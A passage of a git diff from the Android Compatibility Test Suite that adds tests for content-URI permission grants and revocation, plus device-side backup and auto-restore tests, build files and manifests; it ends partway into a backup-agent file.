+ | Intent.FLAG_GRANT_PREFIX_URI_PERMISSION, false);
+ ReceiveUriActivity.waitForStart();
+
+ // Verify prefix read access
+ assertReadingClipAllowed(clip);
+ assertReadingClipAllowed(clipMeow);
+
+ // Verify we can persist direct grant
+ long before = System.currentTimeMillis();
+ resolver.takePersistableUriPermission(target, Intent.FLAG_GRANT_READ_URI_PERMISSION);
+ long after = System.currentTimeMillis();
+ assertPersistedUriPermission(target, Intent.FLAG_GRANT_READ_URI_PERMISSION, before, after);
+
+ // But we can't take anywhere under the prefix
+ try {
+ resolver.takePersistableUriPermission(targetMeow,
+ Intent.FLAG_GRANT_READ_URI_PERMISSION);
+ fail("taking under prefix should have failed");
+ } catch (SecurityException expected) {
+ }
+
+ // Should still have access regardless of taking
+ assertReadingClipAllowed(clip);
+ assertReadingClipAllowed(clipMeow);
+
+ // And clean up our grants
+ resolver.releasePersistableUriPermission(target, Intent.FLAG_GRANT_READ_URI_PERMISSION);
+ assertNoPersistedUriPermission();
+
+ ReceiveUriActivity.finishCurInstanceSync();
+ }
+
+ /**
+ * Validate behavior of directly granting/revoking permission grants.
+ */
+ @Test
+ public void testDirectGrantRevokeUriPermission() throws Exception {
+ final ContentResolver resolver = getContext().getContentResolver();
+
+ final Uri target = Uri.withAppendedPath(PERM_URI_GRANTING, "foo3");
+ final Uri targetMeow = Uri.withAppendedPath(target, "meow");
+ final Uri targetMeowCat = Uri.withAppendedPath(targetMeow, "cat");
+
+ final ClipData clip = makeSingleClipData(target);
+ final ClipData clipMeow = makeSingleClipData(targetMeow);
+ final ClipData clipMeowCat = makeSingleClipData(targetMeowCat);
+
+ // Make sure we can't see the target
+ assertReadingClipNotAllowed(clipMeow, "reading should have failed");
+ assertWritingClipNotAllowed(clipMeow, "writing should have failed");
+
+ // Give ourselves some grants:
+ // /meow/cat WRITE|PERSISTABLE
+ // /meow READ|PREFIX
+ // /meow WRITE
+ grantClipUriPermissionViaContext(targetMeowCat, Intent.FLAG_GRANT_WRITE_URI_PERMISSION
+ | Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION);
+ grantClipUriPermissionViaContext(targetMeow, Intent.FLAG_GRANT_READ_URI_PERMISSION
+ | Intent.FLAG_GRANT_PREFIX_URI_PERMISSION);
+ grantClipUriPermissionViaContext(targetMeow, Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
+
+ long before = System.currentTimeMillis();
+ resolver.takePersistableUriPermission(targetMeowCat, Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
+ long after = System.currentTimeMillis();
+ assertPersistedUriPermission(targetMeowCat, Intent.FLAG_GRANT_WRITE_URI_PERMISSION, before, after);
+
+ // Verify they look good
+ assertReadingClipNotAllowed(clip, "reading should have failed");
+ assertReadingClipAllowed(clipMeow);
+ assertReadingClipAllowed(clipMeowCat);
+ assertWritingClipNotAllowed(clip, "writing should have failed");
+ assertWritingClipAllowed(clipMeow);
+ assertWritingClipAllowed(clipMeowCat);
+
+ // Revoke anyone with write under meow
+ revokeClipUriPermissionViaContext(targetMeow, Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
+
+ // This should have nuked persisted permission at lower level, but it
+ // shoulnd't have touched our prefix read.
+ assertReadingClipNotAllowed(clip, "reading should have failed");
+ assertReadingClipAllowed(clipMeow);
+ assertReadingClipAllowed(clipMeowCat);
+ assertWritingClipNotAllowed(clip, "writing should have failed");
+ assertWritingClipNotAllowed(clipMeow, "writing should have failed");
+ assertWritingClipNotAllowed(clipMeowCat, "writing should have failed");
+ assertNoPersistedUriPermission();
+
+ // Revoking read at top of tree should nuke everything else
+ revokeClipUriPermissionViaContext(target, Intent.FLAG_GRANT_READ_URI_PERMISSION);
+ assertReadingClipNotAllowed(clip, "reading should have failed");
+ assertReadingClipNotAllowed(clipMeow, "reading should have failed");
+ assertReadingClipNotAllowed(clipMeowCat, "reading should have failed");
+ assertWritingClipNotAllowed(clip, "writing should have failed");
+ assertWritingClipNotAllowed(clipMeow, "writing should have failed");
+ assertWritingClipNotAllowed(clipMeowCat, "writing should have failed");
+ assertNoPersistedUriPermission();
+ }
+
+ /**
+ * Validate behavior of a direct permission grant, where the receiver of
+ * that permission revokes it.
+ */
+ @Test
+ public void testDirectGrantReceiverRevokeUriPermission() throws Exception {
+ final ContentResolver resolver = getContext().getContentResolver();
+
+ final Uri target = Uri.withAppendedPath(PERM_URI_GRANTING, "foo3");
+ final Uri targetMeow = Uri.withAppendedPath(target, "meow");
+ final Uri targetMeowCat = Uri.withAppendedPath(targetMeow, "cat");
+
+ final ClipData clip = makeSingleClipData(target);
+ final ClipData clipMeow = makeSingleClipData(targetMeow);
+ final ClipData clipMeowCat = makeSingleClipData(targetMeowCat);
+
+ // Make sure we can't see the target
+ assertReadingClipNotAllowed(clipMeow, "reading should have failed");
+ assertWritingClipNotAllowed(clipMeow, "writing should have failed");
+
+ // Give ourselves some grants:
+ // /meow/cat WRITE|PERSISTABLE
+ // /meow READ|PREFIX
+ // /meow WRITE
+ grantClipUriPermissionViaContext(targetMeowCat, Intent.FLAG_GRANT_WRITE_URI_PERMISSION
+ | Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION);
+ grantClipUriPermissionViaContext(targetMeow, Intent.FLAG_GRANT_READ_URI_PERMISSION
+ | Intent.FLAG_GRANT_PREFIX_URI_PERMISSION);
+ grantClipUriPermissionViaContext(targetMeow, Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
+
+ long before = System.currentTimeMillis();
+ resolver.takePersistableUriPermission(targetMeowCat, Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
+ long after = System.currentTimeMillis();
+ assertPersistedUriPermission(targetMeowCat, Intent.FLAG_GRANT_WRITE_URI_PERMISSION, before, after);
+
+ // Verify they look good
+ assertReadingClipNotAllowed(clip, "reading should have failed");
+ assertReadingClipAllowed(clipMeow);
+ assertReadingClipAllowed(clipMeowCat);
+ assertWritingClipNotAllowed(clip, "writing should have failed");
+ assertWritingClipAllowed(clipMeow);
+ assertWritingClipAllowed(clipMeowCat);
+
+ // Revoke anyone with write under meow
+ getContext().revokeUriPermission(targetMeow, Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
+
+ // This should have nuked persisted permission at lower level, but it
+ // shoulnd't have touched our prefix read.
+ assertReadingClipNotAllowed(clip, "reading should have failed");
+ assertReadingClipAllowed(clipMeow);
+ assertReadingClipAllowed(clipMeowCat);
+ assertWritingClipNotAllowed(clip, "writing should have failed");
+ assertWritingClipNotAllowed(clipMeow, "writing should have failed");
+ assertWritingClipNotAllowed(clipMeowCat, "writing should have failed");
+ assertNoPersistedUriPermission();
+
+ // Revoking read at top of tree should nuke everything else
+ getContext().revokeUriPermission(target, Intent.FLAG_GRANT_READ_URI_PERMISSION);
+ assertReadingClipNotAllowed(clip, "reading should have failed");
+ assertReadingClipNotAllowed(clipMeow, "reading should have failed");
+ assertReadingClipNotAllowed(clipMeowCat, "reading should have failed");
+ assertWritingClipNotAllowed(clip, "writing should have failed");
+ assertWritingClipNotAllowed(clipMeow, "writing should have failed");
+ assertWritingClipNotAllowed(clipMeowCat, "writing should have failed");
+ assertNoPersistedUriPermission();
+ }
+}
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/Utils.java b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/Utils.java
new file mode 100644
index 0000000..48cac57
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/Utils.java
@@ -0,0 +1,111 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.usespermissiondiffcertapp;
+
+import static com.android.cts.permissiondeclareapp.UtilsProvider.ACTION_CLEAR_PRIMARY_CLIP;
+import static com.android.cts.permissiondeclareapp.UtilsProvider.ACTION_GRANT_URI;
+import static com.android.cts.permissiondeclareapp.UtilsProvider.ACTION_REVOKE_URI;
+import static com.android.cts.permissiondeclareapp.UtilsProvider.ACTION_SET_PRIMARY_CLIP;
+import static com.android.cts.permissiondeclareapp.UtilsProvider.ACTION_START_ACTIVITY;
+import static com.android.cts.permissiondeclareapp.UtilsProvider.ACTION_START_SERVICE;
+import static com.android.cts.permissiondeclareapp.UtilsProvider.ACTION_VERIFY_OUTGOING_PERSISTED;
+import static com.android.cts.permissiondeclareapp.UtilsProvider.EXTRA_INTENT;
+import static com.android.cts.permissiondeclareapp.UtilsProvider.EXTRA_MODE;
+import static com.android.cts.permissiondeclareapp.UtilsProvider.EXTRA_PACKAGE_NAME;
+import static com.android.cts.permissiondeclareapp.UtilsProvider.EXTRA_URI;
+
+import android.content.ClipData;
+import android.content.Context;
+import android.content.Intent;
+import android.net.Uri;
+import android.os.Bundle;
+
+import androidx.test.InstrumentationRegistry;
+
+import com.android.cts.permissiondeclareapp.UtilsProvider;
+
+public class Utils {
+ private static Context getContext() {
+ return InstrumentationRegistry.getTargetContext();
+ }
+
+ private static void call(Intent intent) {
+ final Bundle extras = new Bundle();
+ extras.putParcelable(Intent.EXTRA_INTENT, intent);
+ getContext().getContentResolver().call(UtilsProvider.URI, "", "", extras);
+ }
+
+ static void grantClipUriPermission(ClipData clip, int mode, boolean service) {
+ Intent grantIntent = new Intent();
+ if (clip.getItemCount() == 1) {
+ grantIntent.setData(clip.getItemAt(0).getUri());
+ } else {
+ grantIntent.setClipData(clip);
+ // Make this Intent unique from the one that started it.
+ for (int i=0; i<clip.getItemCount(); i++) {
+ Uri uri = clip.getItemAt(i).getUri();
+ if (uri != null) {
+ grantIntent.addCategory(uri.toString());
+ }
+ }
+ }
+ grantIntent.addFlags(mode);
+ grantIntent.setClass(getContext(),
+ service ? ReceiveUriService.class : ReceiveUriActivity.class);
+ Intent intent = new Intent();
+ intent.setAction(service ? ACTION_START_SERVICE : ACTION_START_ACTIVITY);
+ intent.putExtra(EXTRA_INTENT, grantIntent);
+ call(intent);
+ }
+
+ static void grantClipUriPermissionViaContext(Uri uri, int mode) {
+ Intent intent = new Intent();
+ intent.setAction(ACTION_GRANT_URI);
+ intent.putExtra(EXTRA_PACKAGE_NAME, getContext().getPackageName());
+ intent.putExtra(EXTRA_URI, uri);
+ intent.putExtra(EXTRA_MODE, mode);
+ call(intent);
+ }
+
+ static void revokeClipUriPermissionViaContext(Uri uri, int mode) {
+ Intent intent = new Intent();
+ intent.setAction(ACTION_REVOKE_URI);
+ intent.putExtra(EXTRA_URI, uri);
+ intent.putExtra(EXTRA_MODE, mode);
+ call(intent);
+ }
+
+ static void setPrimaryClip(ClipData clip) {
+ Intent intent = new Intent();
+ intent.setAction(ACTION_SET_PRIMARY_CLIP);
+ intent.setClipData(clip);
+ call(intent);
+ }
+
+ static void clearPrimaryClip() {
+ Intent intent = new Intent();
+ intent.setAction(ACTION_CLEAR_PRIMARY_CLIP);
+ call(intent);
+ }
+
+ static void verifyOutgoingPersisted(Uri uri) {
+ Intent intent = new Intent();
+ intent.setAction(ACTION_VERIFY_OUTGOING_PERSISTED);
+ intent.putExtra(EXTRA_URI, uri);
+ call(intent);
+ }
+}
diff --git a/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/src/com/android/cts/writeexternalstorageapp/WriteExternalStorageTest.java b/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/src/com/android/cts/writeexternalstorageapp/WriteExternalStorageTest.java
index dd2d9ff..7d96581 100644
--- a/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/src/com/android/cts/writeexternalstorageapp/WriteExternalStorageTest.java
+++ b/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/src/com/android/cts/writeexternalstorageapp/WriteExternalStorageTest.java
@@ -261,7 +261,7 @@
final List<File> paths = getAllPackageSpecificPathsExceptMedia(getContext());
for (File path : paths) {
- MediaStore.scanFile(getContext(), path);
+ MediaStore.scanFile(getContext().getContentResolver(), path);
}
// Require that .nomedia was created somewhere above each dir
diff --git a/hostsidetests/appsecurity/test-apps/rro/OverlayApp/src/com/android/cts/overlay/app/OverlayableTest.java b/hostsidetests/appsecurity/test-apps/rro/OverlayApp/src/com/android/cts/overlay/app/OverlayableTest.java
index d693691..2b8bad6 100644
--- a/hostsidetests/appsecurity/test-apps/rro/OverlayApp/src/com/android/cts/overlay/app/OverlayableTest.java
+++ b/hostsidetests/appsecurity/test-apps/rro/OverlayApp/src/com/android/cts/overlay/app/OverlayableTest.java
@@ -139,7 +139,7 @@
@Test
public void testFrameworkDoesNotDefineOverlayable() throws Exception {
- assertTrue(InstrumentationRegistry.getTargetContext().getAssets().getOverlayableMap(
+ assertTrue(InstrumentationRegistry.getTargetContext().getAssets().getOverlayablesToString(
"android").isEmpty());
}
diff --git a/hostsidetests/backup/AndroidTest.xml b/hostsidetests/backup/AndroidTest.xml
index 959ae6e..0b17a95 100644
--- a/hostsidetests/backup/AndroidTest.xml
+++ b/hostsidetests/backup/AndroidTest.xml
@@ -19,15 +19,19 @@
<!-- Backup of instant apps is not supported. -->
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
- <!-- Run this module in system user because backup tests are not fully supported in secondary user.
+ <!-- Run module in system user because backup tests are not fully supported in secondary user.
For devices running on secondary user, such as automotive devices, these tests will fail.
- This should be removed when backup tests are fully functional for secondary users. -->
+ When backup tests are fully functional for secondary users:
+ -change not_secondary_user to secondary_user.
+ -remove SwitchUserTargetPreparer
+ -->
+ <option name="config-descriptor:metadata" key="parameter" value="not_secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.SwitchUserTargetPreparer">
<option name="user-type" value="system" />
</target_preparer>
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
- <option name="test-file-name" value="CtsFullbackupApp.apk" />
+ <option name="test-file-name" value="CtsHostsideTestsFullBackupApp.apk" />
<option name="test-file-name" value="CtsIncludeExcludeApp.apk" />
</target_preparer>
<target_preparer class="android.cts.backup.BackupPreparer">
diff --git a/hostsidetests/backup/AutoRestoreApp/Android.bp b/hostsidetests/backup/AutoRestoreApp/Android.bp
new file mode 100644
index 0000000..227fe13
--- /dev/null
+++ b/hostsidetests/backup/AutoRestoreApp/Android.bp
@@ -0,0 +1,34 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+ name: "CtsAutoRestoreApp",
+ defaults: ["cts_defaults"],
+ static_libs: [
+ "androidx.test.rules",
+ "platform-test-annotations",
+ "testng",
+ "truth-prebuilt",
+ "compatibility-device-util-axt",
+ ],
+ srcs: ["src/**/*.java"],
+ // tag this module as a cts test artifact
+ test_suites: [
+ "arcts",
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+ platform_apis: true,
+}
diff --git a/hostsidetests/backup/AutoRestoreApp/AndroidManifest.xml b/hostsidetests/backup/AutoRestoreApp/AndroidManifest.xml
new file mode 100644
index 0000000..de6fa63
--- /dev/null
+++ b/hostsidetests/backup/AutoRestoreApp/AndroidManifest.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2019 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.cts.backup.autorestoreapp">
+
+ <application android:label="AutoRestoreApp" >
+ <uses-library android:name="android.test.runner" />
+ </application>
+
+ <instrumentation
+ android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.cts.backup.autorestoreapp" />
+
+</manifest>
diff --git a/hostsidetests/backup/AutoRestoreApp/src/android/cts/backup/autorestoreapp/AutoRestoreTest.java b/hostsidetests/backup/AutoRestoreApp/src/android/cts/backup/autorestoreapp/AutoRestoreTest.java
new file mode 100644
index 0000000..1448f93
--- /dev/null
+++ b/hostsidetests/backup/AutoRestoreApp/src/android/cts/backup/autorestoreapp/AutoRestoreTest.java
@@ -0,0 +1,89 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.backup.autorestoreapp;
+
+import static androidx.test.InstrumentationRegistry.getTargetContext;
+
+import static com.google.common.truth.Truth.assertThat;
+
+
+import android.app.backup.BackupManager;
+import android.content.Context;
+import android.content.SharedPreferences;
+import android.platform.test.annotations.AppModeFull;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.SystemUtil;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Device side routines to be invoked by the host side AutoRestoreHostSideTest. These are not
+ * designed to be called in any other way, as they rely on state set up by the host side test.
+ */
+@RunWith(AndroidJUnit4.class)
+@AppModeFull
+public class AutoRestoreTest {
+ private static final String SHARED_PREFERENCES_FILE = "auto_restore_shared_prefs";
+ private static final String PREF_KEY = "auto_restore_pref";
+ private static final int PREF_VALUE = 123;
+
+ private BackupManager mBackupManager;
+ private SharedPreferences mPreferences;
+
+ @Before
+ public void setUp() {
+ Context context = getTargetContext();
+ mBackupManager = new BackupManager(context);
+ mPreferences = context.getSharedPreferences(SHARED_PREFERENCES_FILE, Context.MODE_PRIVATE);
+ }
+
+ @Test
+ public void saveValuesToSharedPrefs() {
+ mPreferences.edit().putInt(PREF_KEY, PREF_VALUE).commit();
+ }
+
+ @Test
+ public void testCheckSharedPrefsExist() {
+ assertThat(mPreferences.getInt(PREF_KEY, 0)).isEqualTo(PREF_VALUE);
+ }
+
+ @Test
+ public void testCheckSharedPrefsDontExist() {
+ assertThat(mPreferences.getInt(PREF_KEY, 0)).isEqualTo(0);
+ }
+
+ @Test
+ public void enableAutoRestore() {
+ setAutoRestoreEnabled(true);
+ }
+
+ @Test
+ public void disableAutoRestore() {
+ setAutoRestoreEnabled(false);
+ }
+
+ private void setAutoRestoreEnabled(boolean enabled) {
+ SystemUtil.runWithShellPermissionIdentity(
+ () -> {
+ mBackupManager.setAutoRestore(enabled);
+ });
+ }
+}
diff --git a/hostsidetests/backup/BackupTransportApp/Android.bp b/hostsidetests/backup/BackupTransportApp/Android.bp
new file mode 100644
index 0000000..240a460
--- /dev/null
+++ b/hostsidetests/backup/BackupTransportApp/Android.bp
@@ -0,0 +1,33 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+ name: "CtsBackupTransportApp",
+ defaults: ["cts_defaults"],
+ static_libs: [
+ "androidx.test.rules",
+ "platform-test-annotations",
+ "testng",
+ "truth-prebuilt",
+ ],
+ srcs: ["src/**/*.java"],
+ // tag this module as a cts test artifact
+ test_suites: [
+ "arcts",
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+ sdk_version: "system_current",
+}
diff --git a/hostsidetests/backup/BackupTransportApp/AndroidManifest.xml b/hostsidetests/backup/BackupTransportApp/AndroidManifest.xml
new file mode 100644
index 0000000..d3f4e66
--- /dev/null
+++ b/hostsidetests/backup/BackupTransportApp/AndroidManifest.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2019 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.cts.backup.backuptransportapp">
+
+ <application android:label="BackupTransportApp" >
+ <uses-library android:name="android.test.runner" />
+ </application>
+
+ <instrumentation
+ android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.cts.backup.backuptransportapp" />
+
+</manifest>
diff --git a/hostsidetests/backup/BackupTransportApp/src/android/cts/backup/backuptransportapp/BackupTransportTest.java b/hostsidetests/backup/BackupTransportApp/src/android/cts/backup/backuptransportapp/BackupTransportTest.java
new file mode 100644
index 0000000..7edcd65
--- /dev/null
+++ b/hostsidetests/backup/BackupTransportApp/src/android/cts/backup/backuptransportapp/BackupTransportTest.java
@@ -0,0 +1,234 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.backup.backuptransportapp;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.testng.Assert.assertThrows;
+
+import android.app.backup.BackupTransport;
+import android.platform.test.annotations.AppModeFull;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Device side routines to be invoked by the host side BackupTransportHostSideTest. These are not
+ * designed to be called in any other way, as they rely on state set up by the host side test.
+ */
+@RunWith(AndroidJUnit4.class)
+@AppModeFull
+public class BackupTransportTest {
+ private BackupTransport mBackupTransport;
+
+ @Before
+ public void setUp() {
+ mBackupTransport = new BackupTransport();
+ }
+
+ @Test
+ public void testName_throwsException() {
+ assertThrows(UnsupportedOperationException.class, () -> mBackupTransport.name());
+ }
+
+ @Test
+ public void testConfigurationIntent_returnsNull() throws Exception {
+ assertThat(mBackupTransport.configurationIntent()).isNull();
+ }
+
+ @Test
+ public void testCurrentDestinationString_throwsException() {
+ assertThrows(
+ UnsupportedOperationException.class,
+ () -> mBackupTransport.currentDestinationString());
+ }
+
+ @Test
+ public void testDataManagementIntent_returnsNull() {
+ assertThat(mBackupTransport.dataManagementIntent()).isNull();
+ }
+
+ @Test
+ public void testDataManagementIntentLabel_throwsException() {
+ assertThrows(
+ UnsupportedOperationException.class,
+ () -> mBackupTransport.dataManagementIntentLabel());
+ }
+
+ @Test
+ public void testTransportDirName_throwsException() {
+ assertThrows(
+ UnsupportedOperationException.class, () -> mBackupTransport.transportDirName());
+ }
+
+ @Test
+ public void testInitializeDevice_returnsTransportError() {
+ assertThat(mBackupTransport.initializeDevice()).isEqualTo(BackupTransport.TRANSPORT_ERROR);
+ }
+
+ @Test
+ public void testClearBackupData_returnsTransportError() {
+ assertThat(mBackupTransport.clearBackupData(null /* packageInfo */))
+ .isEqualTo(BackupTransport.TRANSPORT_ERROR);
+ }
+
+ @Test
+ public void testFinishBackup_returnsTransportError() {
+ assertThat(mBackupTransport.finishBackup()).isEqualTo(BackupTransport.TRANSPORT_ERROR);
+ }
+
+ @Test
+ public void testRequestBackupTime_returnsZero() {
+ assertThat(mBackupTransport.requestBackupTime()).isEqualTo(0);
+ }
+
+ @Test
+ public void testPerformBackupWithFlags_returnsTransportError() {
+ assertThat(
+ mBackupTransport.performBackup(
+ null /* packageInfo */, null /* inFd */, 0 /* flags */))
+ .isEqualTo(BackupTransport.TRANSPORT_ERROR);
+ }
+
+ @Test
+ public void testPerformBackup_returnsTransportError() {
+ assertThat(mBackupTransport.performBackup(null /* packageInfo */, null /* inFd */))
+ .isEqualTo(BackupTransport.TRANSPORT_ERROR);
+ }
+
+ @Test
+ public void testGetAvailableRestoreSets_returnsNull() {
+ assertThat(mBackupTransport.getAvailableRestoreSets()).isNull();
+ }
+
+ @Test
+ public void testGetCurrentRestoreSet_returnsZero() {
+ assertThat(mBackupTransport.getCurrentRestoreSet()).isEqualTo(0);
+ }
+
+ @Test
+ public void testStartRestore_returnsTransportError() {
+ assertThat(mBackupTransport.startRestore(0 /* token */, null /* packages */))
+ .isEqualTo(BackupTransport.TRANSPORT_ERROR);
+ }
+
+ @Test
+ public void testNextRestorePackage_returnsNull() {
+ assertThat(mBackupTransport.nextRestorePackage()).isNull();
+ }
+
+ @Test
+ public void testGetRestoreData_returnsTransportError() {
+ assertThat(mBackupTransport.getRestoreData(null /* outFd */))
+ .isEqualTo(BackupTransport.TRANSPORT_ERROR);
+ }
+
+ @Test
+ public void testFinishRestore_throwsException() {
+ assertThrows(UnsupportedOperationException.class, () -> mBackupTransport.finishRestore());
+ }
+
+ @Test
+ public void testRequestFullBackupTime_returnsZero() {
+ assertThat(mBackupTransport.requestFullBackupTime()).isEqualTo(0);
+ }
+
+ @Test
+ public void testPerformFullBackupWithFlags_returnsTransportPackageRejected() {
+ assertThat(
+ mBackupTransport.performFullBackup(
+ null /* testPackage */, null /* socket */, 0 /* flags */))
+ .isEqualTo(BackupTransport.TRANSPORT_PACKAGE_REJECTED);
+ }
+
+ @Test
+ public void testPerformFullBackup_returnsTransportPackageRejected() {
+ assertThat(mBackupTransport.performFullBackup(null /* targetPackage */, null /* socket */))
+ .isEqualTo(BackupTransport.TRANSPORT_PACKAGE_REJECTED);
+ }
+
+ @Test
+ public void testCheckFullBackupSize_whenZero_returnsTransportOk() {
+ assertThat(mBackupTransport.checkFullBackupSize(0)).isEqualTo(BackupTransport.TRANSPORT_OK);
+ }
+
+ @Test
+ public void testCheckFullBackupSize_whenMaxLong_returnsTransportOk() {
+ assertThat(mBackupTransport.checkFullBackupSize(Long.MAX_VALUE))
+ .isEqualTo(BackupTransport.TRANSPORT_OK);
+ }
+
+ @Test
+ public void testSendBackupData_returnsTransportError() {
+ assertThat(mBackupTransport.sendBackupData(0 /* numBytes */))
+ .isEqualTo(BackupTransport.TRANSPORT_ERROR);
+ }
+
+ @Test
+ public void testCancelFullBackup_throwsException() {
+ assertThrows(
+ UnsupportedOperationException.class, () -> mBackupTransport.cancelFullBackup());
+ }
+
+ @Test
+ public void testIsAppEligibleForBackup_isFullBackup_returnsTrue() {
+ assertThat(
+ mBackupTransport.isAppEligibleForBackup(
+ null /* targetPackage */, true /* isFullBackup */))
+ .isTrue();
+ }
+
+ @Test
+ public void testIsAppEligibleForBackup_isNotFullBackup_returnsTrue() {
+ assertThat(
+ mBackupTransport.isAppEligibleForBackup(
+ null /* targetPackage */, false /* isFullBackup */))
+ .isTrue();
+ }
+
+ @Test
+ public void testGetBackupQuota_isFullBackup_returnsMaxValue() {
+ assertThat(mBackupTransport.getBackupQuota(null /* packageName */, true /* isFullBackup */))
+ .isEqualTo(Long.MAX_VALUE);
+ }
+
+ @Test
+ public void testGetBackupQuota_isNotFullBackup_returnsMaxValue() {
+ assertThat(
+ mBackupTransport.getBackupQuota(
+ null /* packageName */, false /* isFullBackup */))
+ .isEqualTo(Long.MAX_VALUE);
+ }
+
+ @Test
+ public void testGetNextFullRestoreDataChunk_returnsZero() {
+ assertThat(mBackupTransport.getNextFullRestoreDataChunk(null /* socket */)).isEqualTo(0);
+ }
+
+ @Test
+ public void testAbortFullRestore_returnsTransportOk() {
+ assertThat(mBackupTransport.abortFullRestore()).isEqualTo(BackupTransport.TRANSPORT_OK);
+ }
+
+ @Test
+ public void testGetTransportFlags_returnsZero() {
+ assertThat(mBackupTransport.getTransportFlags()).isEqualTo(0);
+ }
+}
diff --git a/hostsidetests/backup/KeyValueApp/src/android/cts/backup/keyvaluerestoreapp/KeyValueBackupAgent.java b/hostsidetests/backup/KeyValueApp/src/android/cts/backup/keyvaluerestoreapp/KeyValueBackupAgent.java
index f79baa9..85a96b1 100644
--- a/hostsidetests/backup/KeyValueApp/src/android/cts/backup/keyvaluerestoreapp/KeyValueBackupAgent.java
+++ b/hostsidetests/backup/KeyValueApp/src/android/cts/backup/keyvaluerestoreapp/KeyValueBackupAgent.java
